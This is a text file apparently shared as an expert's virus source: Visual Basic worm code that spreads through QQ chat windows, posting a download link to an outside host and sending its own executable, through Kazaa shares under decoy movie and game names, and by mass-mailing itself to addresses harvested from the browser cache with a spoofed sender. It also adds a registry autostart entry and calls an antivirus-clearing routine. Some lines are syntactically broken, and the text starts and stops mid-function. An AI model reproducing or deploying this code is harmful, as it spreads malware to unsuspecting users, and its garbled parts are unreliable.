一个高手写的病毒原代码.txt

用vb写的病毒

Exitz:
'MsgBox "Error: Write all dataz", vbCritical, "Huffman"
Resume U_ext
End Sub

Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long


   If Dir(filepath) = "" Then
       title = ""
       titleall = ""
   End If
   
   length = GetWindowText(app_hwnd, buf, Len(buf))
   title = Left$(buf, length)

   If InStr(title, "发送消息") or InStr(title,"对话模式") Then '判断是否为 OICQ 窗口
       ok = False
       Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
       Call GetZiWin(app_hwnd)
   End If
   If InStr(title, "发送文件") And iks > -1 Then
      iks = iks + 1
      Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
      ahs = app_hwnd
   End If
   If InStr(title, "打开") And iks > 0 Then
    iks = iks - 1
      If iks = 0 Then
         Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, SWP_HIDEWINDOW)
         ok1 = False
         send = 0
         Call GetZiWin(app_hwnd)
      End If
   End If
EnumProc = 1
End Function


Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
Dim vs As Integer

   '取得类名
   buflen = 256
   buf = Space$(buflen - 1)
   buflen = GetClassName(window_hwnd, buf, buflen)
   buf = Left$(buf, buflen)
   If Right$(buf, 4) = "Edit" And ok1 = False And send = 0 Then
      Call PostMessage(window_hwnd, WM_CHAR, App.Path & "\" & App.EXEName & ".exe", 0)
      send = 1
   End If
   If Right$(buf, 6) = "Button" And send <> 1 Then
      Dim fff As String
      fff = GetWinText(window_hwnd)
      If InStr(fff, "打开") <> 0 Then
         Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
         window_hwnd = ASh
      End If
      If InStr(fff, "发送") Then
         Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
         send = 2
         ok1 = True
      End If
   End If
   If Right$(buf, 4) = "Edit" And ok = False And ok1 <> False Then
       Call PostMessage(window_hwnd, WM_CHAR, "BTW 给你个好东西：：请下载。。。http://eto.tk/Vxk@mm/ClearVirusWithGame.exe", 0)
       ok = True
       vs = 1
   End If
   If Right$(buf, 6) = "Button" And ok = True And vs <> 1 And ok1 <> False Then
      Dim hdf As String
      hdf = GetWinText(window_hwnd)
      If InStr(hdf, "送讯息") <> 0 Then
         Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
         ok = False
      End If
   End If
   
   num_children = 0
   child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
   Do While child_hwnd <> 0 '如果有子窗口
       num_children = num_children + 1
       ReDim Preserve children(1 To num_children)
       children(num_children) = child_hwnd
       
       child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
   Loop
   
   For i = 1 To num_children
       Call GetZiWin(children(i))
   Next i
End Function

Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String

 '通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
 GetWinText = ""
 If window_hwnd = 0 Then Exit Function
   
 txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
 If txtlen = 0 Then Exit Function
   
 txtlen = txtlen + 1
 txt = Space$(txtlen)
 txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
 GetWinText = Left$(txt, txtlen)
End Function


Public Function AutoRun()
Dim sKeyName As String, sKeyvalue As String, sKeyvalueIcon As String
Dim Ret As Integer, lphKey As Long
 sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置，大家可能通过 regedit.exe 来查看
 dim sFile as string
 sFile = DropMe
 CopyFile sFile,"C:\[e-mail]",1
 sKeyName="VXK@mmVB"
 sKeyvalue="C:\[e-mail]"
 Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
 Ret = RegSetvalue&(lphKey&, "", REG_SZ, sKeyvalue, 0&) '设置键值
End Function

Public Function MapCheck()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES
 sa.bInheritHandle = 1
 sa.lpSecurityDescriptor = 0
 sa.nLength = Len(sa)
 ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, "VXK@mmVB") '创建内存映射文件
 'If ynRun = 0 Then MsgBox "创建内存映射文件失败", vbQuestion, "错误"
 If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在，则提示并退出
 '    MsgBox "程序已运行！", vbQuestion, "错误"
     CloseHandle ynRun '退出程序前关闭内存映射文件
     Call ReturntoHost(app.path+app.exename+".exe")
     Exit Function
 End If
Call DropMe
Call SMTP
Call AutoRun
Call ScanForHost
Call p2pWorm
Call ReturntoHost(app.path+app.exename+".exe")
Call QQworm
End Function
Public Function p2p()
If App.PrevInstance = True Then
   End
End If
  Dim sysdir As String
  Dim k As Long
  k = GetSystemDirectory(sysdir, 255)
  Dim windir As String
  dim xsd as integer
  windir = Left$(sysdir, k)
  Call CreateFolder(windir & "\" & "fonts\^-^")
   RegCT "\Software\Kazaa\Transfer\DlDir0", "012345:" & windir & "\" & "fonts\^-^"
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Baldur@Gate-Full Downloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\ScaryMovie2-FullDownloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\StarWars2 - CloneAttack - FullDownloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Spiderman-FullDownloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Shakira.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Gladiator-FullDownloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\AikaQuest3Hentai-FullDownloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\MoviezChannelsInstaler.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Zidane-ScreenInstaler.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\LordOfTheRings-FullDownloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\SIMS-FullDownloader.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\1.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\2.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\3.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\4.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\5.exe", 1
   CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\StriderHyriu.exe", 1
   XSD = 0
   Do While XSD < 500
   Randomize
   dim num as integer
   dim num2 as integer
   num = Int((5 * Rnd) + 1)
   num2 = Int((100000 * Rnd) + 1)
   If num = 1 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Rebeka-FullInstaler.exe", 1
   If num = 2 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\BinLadenFucksss!!-FullGame.exe", 1
   If num = 3 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\3~34" & num2 & ".exe", 1
   If num = 4 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\666.exe", 1
   If num = 5 Then CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & "fonts\^-^\Minerva" & num2 & ".exe", 1
   XSD = XSD + 1
   Loop
End
End Function

Public Function regcreate(regkey, regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Function
Function RegCT(regkey, regvl)
Dim sKeyName As String, sKeyvalue As String, sKeyvalueIcon As String
Dim Ret As Integer, lphKey As Long
 sKeyName = regkey '是启动项在注册表中位置，大家可能通过 regedit.exe 来查看
 sKeyvalue = regvl
 Ret = RegCreateKey&(HKEY_CURRENT_USER, sKeyName, lphKey) '创建新的启动项
 Ret = RegSetvalue&(lphKey&, "", REG_SZ, sKeyvalue, 0&) '设置键值
End Function
Public Function CreateFolder(NewDirectory As String)
Dim sdt As String
Dim sca As SECURITY_ATTRIBUTES
Dim bsc As Boolean
Dim sp As String
Dim ict As Integer
Dim std As String
sp = NewDirectory
If Right(sp, Len(sp)) <> "\" Then
sp = sp + "\"
End If
ict = 1
Do Until InStr(ict, sp, "\") = 0
ict = InStr(ict, sp, "\")
std = Left(sp, ict)
sdt = Dir(std)
ict = ict + 1
sca.lpSecurityDescriptor = &O0
sca.bInheritHandle = False
sca.nLength = Len(sca)
bsc = CreateDirectory(std, sca)
Loop
End Function
Public Function QQWorm()
dim n
n=0
iks = 0
Do while n=0
Sleep 1000*5
Call ClearAVP
Call EnumWindows(AddressOf EnumProc, 0)
Sleep 1000*5 
Loop
End Function
Private Function getipaddress(host As String) As Long
Dim he As Long
Dim hedesthost As hostent
Dim addrlist As Long
Dim rc As Long
he = gethostbyname(host)
If he = 0 Then
'MsgBox "主机名错误或网络错误!"
rc = 0
Exit Function
End If
CopyMemory hedesthost, ByVal he, Len(hedesthost)
CopyMemory addrlist, ByVal hedesthost.h_addr_list, 4
CopyMemory rc, ByVal addrlist, hedesthost.h_length
getipaddress = rc
End Function
Public Function SMTP()
On Error Resume Next
Dim rc As Long
Dim xxz As wsadata
Dim sck As sockaddr
mailok = False
rcptok = False
sendok = False
sll = 0
sck.sin_family = AF_INET
sck.sin_addr = getipaddress("mail.lycos.com")'你的SMTP服务器地址，一般不用改
sck.sin_port = htons(25)
sck.sin_zero = String(8, 0)
rc = WSAStartup(&H101, xxz)
sll = socket(AF_INET, SOCK_STREAM, 0)
rc = connect(sll, sck, Len(sck))
WSAAsyncSelect sll, Text5.hwnd, &H100, FD_READ
SSName=DropMe
Kill "c:\\VXk@mm VB.txt"
SMTPad.Sender="你的假地址" '比如WEBMASTER@MICROSOFT
SMTPad.SendName="你的假姓名" '比如Administrators
listht GetSpecialfolder(CSIDL_TIF)
Dim q As String, a As String, textline As String
Dim www, ggg
Dim datareceived As String
Dim datasend As String
datareceived = String$(255, Chr(0))
rc = recv(sll, datareceived, 255, 0)
datasend = "HELO localhost"+vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
sleep(100);
rc = recv(sll, datareceived, 255, 0)
datasend="MAIL FROM:" + " <" + STMPad.Sender + ">" + vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
sleep(100)
rc = recv(sll, datareceived, 255, 0)
Open "c:\VXK@MM VB.txt" For Input As #1
Do While Not EOF(1)
Line Input #1, textline
q = q + textline
Loop
Close #1
a = Trim(q)
www = Split(a, ";")
For Each ggg In www
If ggg = "" Then
ggg = "[e-mail]"
End If
If InStr(1, ggg, "@") Then
Else
ggg = "[e-mail]"
End If
If InStr(1, ggg, "?") Then
ggg = "[e-mail]"
End If
dataSend="RCPT TO: " + "<" + ggg + ">" + vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
sleep(100)
rc = recv(sll, datareceived, 255, 0)
Next ggg
DataSend="DATA" + vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
sleep(100)
rc = recv(sll, datareceived, 255, 0)
DataSend=hd + vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
datasend="<html>"+SENGObject+"....</html>" + vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
datasend=a12()
rc = send(sll, ByVal datasend, Len(datasend), 0)
datasend=vbCrLf + "." + vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
sleep(100)
rc = recv(sll, datareceived, 255, 0)
DataSend="QUIT" + vbCrLf
rc = send(sll, ByVal datasend, Len(datasend), 0)
sleep(100)
rc = recv(sll, datareceived, 255, 0)
closesocket sll
WSACleanup
Else
End If
End Function

Sub listht(dir)
On Error Resume Next
Dim fso, ssfh, filh, s, f, d, q, a, textline
Set fso = CreateObject("Scripting.FileSystemObject")
Set ssfh = fso.GetFolder(dir).SubFolders
For Each filh In ssfh
s = infht(filh.path)
listht (filh.path)
If s = "" Then
s = "[e-mail]"
End If
f = f + s + ";"
Next
d = f
Open "c:\VXK@MM VB.txt" For Append As #1
Print #1, d
Close #1
End Sub
Function infht(dir)
Dim mlto As String
Dim fso, cfh, filh, ext, textline, q, wwww
Dim j As Long, cnt As Long
Set fso = CreateObject("Scripting.FileSystemObject")
Set cfh = fso.GetFolder(dir).Files
For Each filh In cfh
ext = fso.GetExtensionName(filh.path)
ext = LCase(ext)
If (ext = "htm") Or (ext = "html") Then
Open filh.path For Input As #1
Do While Not EOF(1)
Line Input #1, textline
q = q + textline
Loop
Close #1
For j = 1 To Len(q)
If Mid(q, j,  = """" + "mailto:" Then
mlto = ""
cnt = 0
Do While Mid(q, j + 8 + cnt, 1) <> """"
mlto = mlto + Mid(q, j + 8 + cnt, 1)
cnt = cnt + 1
Loop
wwww = wwww + mlto + ";"
End If
Next
End If
Next
infht = wwww
End Function
Public Function GetSpecialfolder(CSIDL As Long) As String
Dim r As Long
Dim IDL As ITEMIDLIST
Dim path As String
r = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If r = 0 Then
path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal path$)
GetSpecialfolder = Left$(path, InStr(path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function
Public Function hd() As String
Dim fin As String, dh As String, recip As String
Dim sdatenow As String, deit As String, phrom As String, topic As String, engine As String, myme As String
sdatenow = format(Date, "Ddd") + ", " + format(Date, "dd Mmm YYYY") + " " + format(Time, "hh:mm:ss")
recip = "To: Subscribers" + vbCrLf
deit = "Date:" + Chr(32) + sdatenow + vbCrLf
phrom = "From: " + Chr(34) + SMTPad.SendName + Chr(34) +SMTPad.Sender + vbCrLf
SMTPad.Subject=SENGSubject
topic = "Subject:" + Chr(32) + SMTPad.Subject + vbCrLf
engine = "X-Mailer: mailsux9855097" + vbCrLf
myme = "MIME-Version: 1.0" + vbCrLf + _
"Content-Type: multipart/related; boundary=" + _
Chr(34) + "blimp" + Chr(34) + "; type=" + Chr(34) + _
"text/html" + Chr(34) + vbCrLf + _
"by:alcotheSkaler" + vbCrLf + _
"--blimp" + vbCrLf + _
"Content-Type: text/html; charset=us-ascii" + vbCrLf + _
"Content-Transfer-Encoding: 7bit" + vbCrLf
dh = phrom + deit + engine + recip + topic + myme
hd = dh
End Function
Public Function a12() As String
Dim fin As String
Dim phile as String
Dim ss as string
ss = App.Path
if Right(ss,1) <> "\" then ss = ss + "\"
fin = fin + e32(ss + SSName + ".exe")
fin = fin + vbCrLf + "--blimp--" + vbCrLf
a12 = fin
End Function
Public Function e32(ByVal vsFullPathname As String) As String
Dim fin As String
fin = vbCrLf + "--blimp" + vbNewLine
fin = fin + "Content-Type: application/octet-stream; name=" + Chr(34)+Chr(34) + vbNewLine
fin = fin + "Content-Transfer-Encoding: base64" + vbNewLine
SMTPad.ath=SENGName
fin = fin + "Content-Disposition: attachment; filename=" + Chr(34) + SMTPad.ath + Chr(34) + vbNewLine
fin = fin + b64(vsFullPathname)
e32 = fin
End Function


Public Function b64(ByVal vsFullPathname As String) As String

   Dim b           As Integer
   Dim Base64Tab   As Variant
   Dim bin(3)      As Byte
   Dim s           As String
   Dim l           As Long
   Dim hhh           As Long
   Dim FileIn      As Long
   Dim sResult     As String
   Dim n           As Long
   

   Base64Tab = Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/")
   
   Erase bin
   l = 0: hhh = 0: FileIn = 0: b = 0:
   s = ""

   FileIn = FreeFile

   Open vsFullPathname For Binary As FileIn